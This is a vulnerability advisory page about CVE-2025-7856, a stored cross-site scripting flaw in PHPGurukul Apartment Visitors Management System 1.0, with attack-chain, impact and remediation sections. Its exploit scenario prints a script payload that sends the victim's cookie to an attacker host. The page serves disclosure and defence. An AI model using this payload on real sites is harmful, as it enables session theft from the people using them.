PHPGurukul Apartment Visitors Management System
CVE-2025-7856
LOW
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
ReconObtain valid system credentials
-
DeliveryAuthenticate to Apartment Visitors Management System
-
ExploitSubmit HTTP POST request with XSS payload in visname parameter
-
InstallMalicious script stored in database
-
C2Authenticated user views crafted pass details
-
ExecuteScript executes in victim's browser
-
ImpactAttacker exfiltrates session token or redirects to phishing site
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires: (1) valid authentication credentials for the Apartment Visitors Management System (PR:L - low privilege level), (2) ability to submit or modify a visitor pass entry with the visname parameter via HTTP POST request to pass-details.php, (3) user interaction - the malicious payload only executes when another authenticated user views the crafted pass details page. The vulnerability is limited to authenticated users and does not affect unauthenticated external visitors. The attack does not provide code execution on the server itself, only script execution in victim browsers. Default installations with no special configuration are vulnerable - no non-default settings are required to enable the vulnerability, but attackers must first authenticate to the system. |
| Impact | This vulnerability presents LOW real-world risk despite being a confirmed XSS issue. The CVSS v4.0 score of 2.0 reflects multiple limiting factors: authentication is required (PR:L), user interaction is necessary (UI:P), and the impact is limited to integrity of responses (VI:L with VC:N, VA:N, SA:N). The EPSS score of 0.05% (16th percentile) indicates exploitation is statistically unlikely in the wild, despite public exploit availability. The combination of authentication requirement, user interaction necessity, and low impact explains the disconnect between 'publicly available exploit' and very low EPSS. This is a typical stored XSS in an administrative/business system where an authenticated attacker could craft a malicious pass entry to target other staff or visitors, but would require them to click or interact with the crafted content. The risk is primarily to data integrity and user trust rather than system compromise. Organizations using this system should prioritize patching only if the application handles sensitive visitor data or is exposed to untrusted internal users. |
| Exploit ScenarioDerived | An authenticated staff member with access to add or edit visitor pass details enters a malicious script payload such as '<script>fetch("https://attacker.com/steal?cookie="+document.cookie)</script>' in the visname field. When another staff member or administrator views the pass details, the script executes in their browser, stealing their session cookie or redirecting them to a phishing site. The attacker could then use the stolen session to escalate privileges or access additional visitor records. Public exploit code from GitHub demonstrates this exact technique. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Apr 29, 2026
Stored cross-site scripting (XSS) in PHPGurukul Apartment Visitors Management System 1.0 allows authenticated users to inject malicious scripts via the visname parameter in pass-details.php, which are then executed in the context of other users' browsers. The vulnerability requires user interaction (UI:P) but can be exploited remotely by any authenticated user with access to the HTTP POST request handler. Publicly available exploit code exists, though the low EPSS score (0.05%) and requirement for user interaction and authentication suggest limited real-world exploitation risk.
RemediationAI
No vendor-released patch identified at time of analysis. The primary mitigation is to upgrade to a patched version if available from PHPGurukul, or to immediately apply input validation and output encoding to the visname parameter and all user-controlled inputs processed by pass-details.php. Developers should implement htmlspecialchars() or similar encoding functions on all output rendered to users, and validate the visname parameter against an allowlist of permitted characters (alphanumeric and common name characters only). As a compensating control, restrict access to the pass-details.php endpoint and related visitor management features to trusted internal staff only, using network-level access controls or IP whitelisting. Additionally, implement a Content Security Policy (CSP) header with strict-dynamic and nonce attributes to prevent inline script execution, which will reduce the impact of any residual XSS issues. These controls have minimal performance impact but require code deployment and may restrict some functionality if the application intentionally renders user-provided HTML.
Affects your stack
Find out whether the stacks and servers you run are on an affected version.
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
This is a reflected or stored cross-site scripting (CWE-79) vulnerability in a PHP-based visitor management application. The vulnerability exists in the pass-details.php file, which processes HTTP POST requests containing visitor information. The visname parameter fails to properly sanitize or encode user input before rendering it in responses or storing it in the system. PHP applications commonly suffer from XSS when using functions like echo() without htmlspecialchars() or other output encoding. The application appears to be a web-based system for managing apartment visitor passes and details, suggesting it processes and displays visitor-submitted or staff-entered data without adequate input validation or output encoding.
Know when Apartment Visitors Management System gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P
Primary rating from NVD · only source for this CVE.
CVSS VectorNVD
DescriptionCVE.org
A vulnerability was found in PHPGurukul Apartment Visitors Management System 1.0. It has been declared as problematic. Affected by this vulnerability is an unknown functionality of the file pass-details.php of the component HTTP POST Request Handler. The manipulation of the argument visname leads to cross site scripting. The attack can be launched remotely. The exploit has been disclosed to the public and may be used.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
Affected Products (CPE)CVE.org
Apartment Visitor Management System v1.0 is vulnerable to SQL Injection via /avms/index.php. Rated critical severity (CV
A vulnerability was found in SourceCodester Apartment Visitor Management System 1.0. Rated critical severity (CVSS 9.8),
SQL injection vulnerability in PHPGurukul Apartment Visitors Management System (AVMS) v. Rated critical severity (CVSS 9
A vulnerability classified as critical was found in PHPGurukul Apartment Visitors Management System 1.0. Rated medium se
A vulnerability, which was classified as critical, has been found in PHPGurukul Apartment Visitors Management System 1.0
A vulnerability was found in PHPGurukul Apartment Visitors Management System 1.0. Rated medium severity (CVSS 6.9), this
A vulnerability was found in PHPGurukul Apartment Visitors Management System 1.0. Rated medium severity (CVSS 6.9), this
A vulnerability has been found in PHPGurukul Apartment Visitors Management System 1.0 and classified as critical. Rated
A vulnerability was found in PHPGurukul Apartment Visitors Management System 1.0. Rated medium severity (CVSS 6.9), this
A vulnerability classified as critical was found in projectworlds Apartment Visitors Management System 1.0. Rated medium
A vulnerability was found in SourceCodester Apartment Visitor Management System and classified as critical. Rated critic
A vulnerability has been found in SourceCodester Apartment Visitor Management System 1.0 and classified as problematic.
NVD
CVE.org
EPSS
GitHub
VulDB
Exploit-DB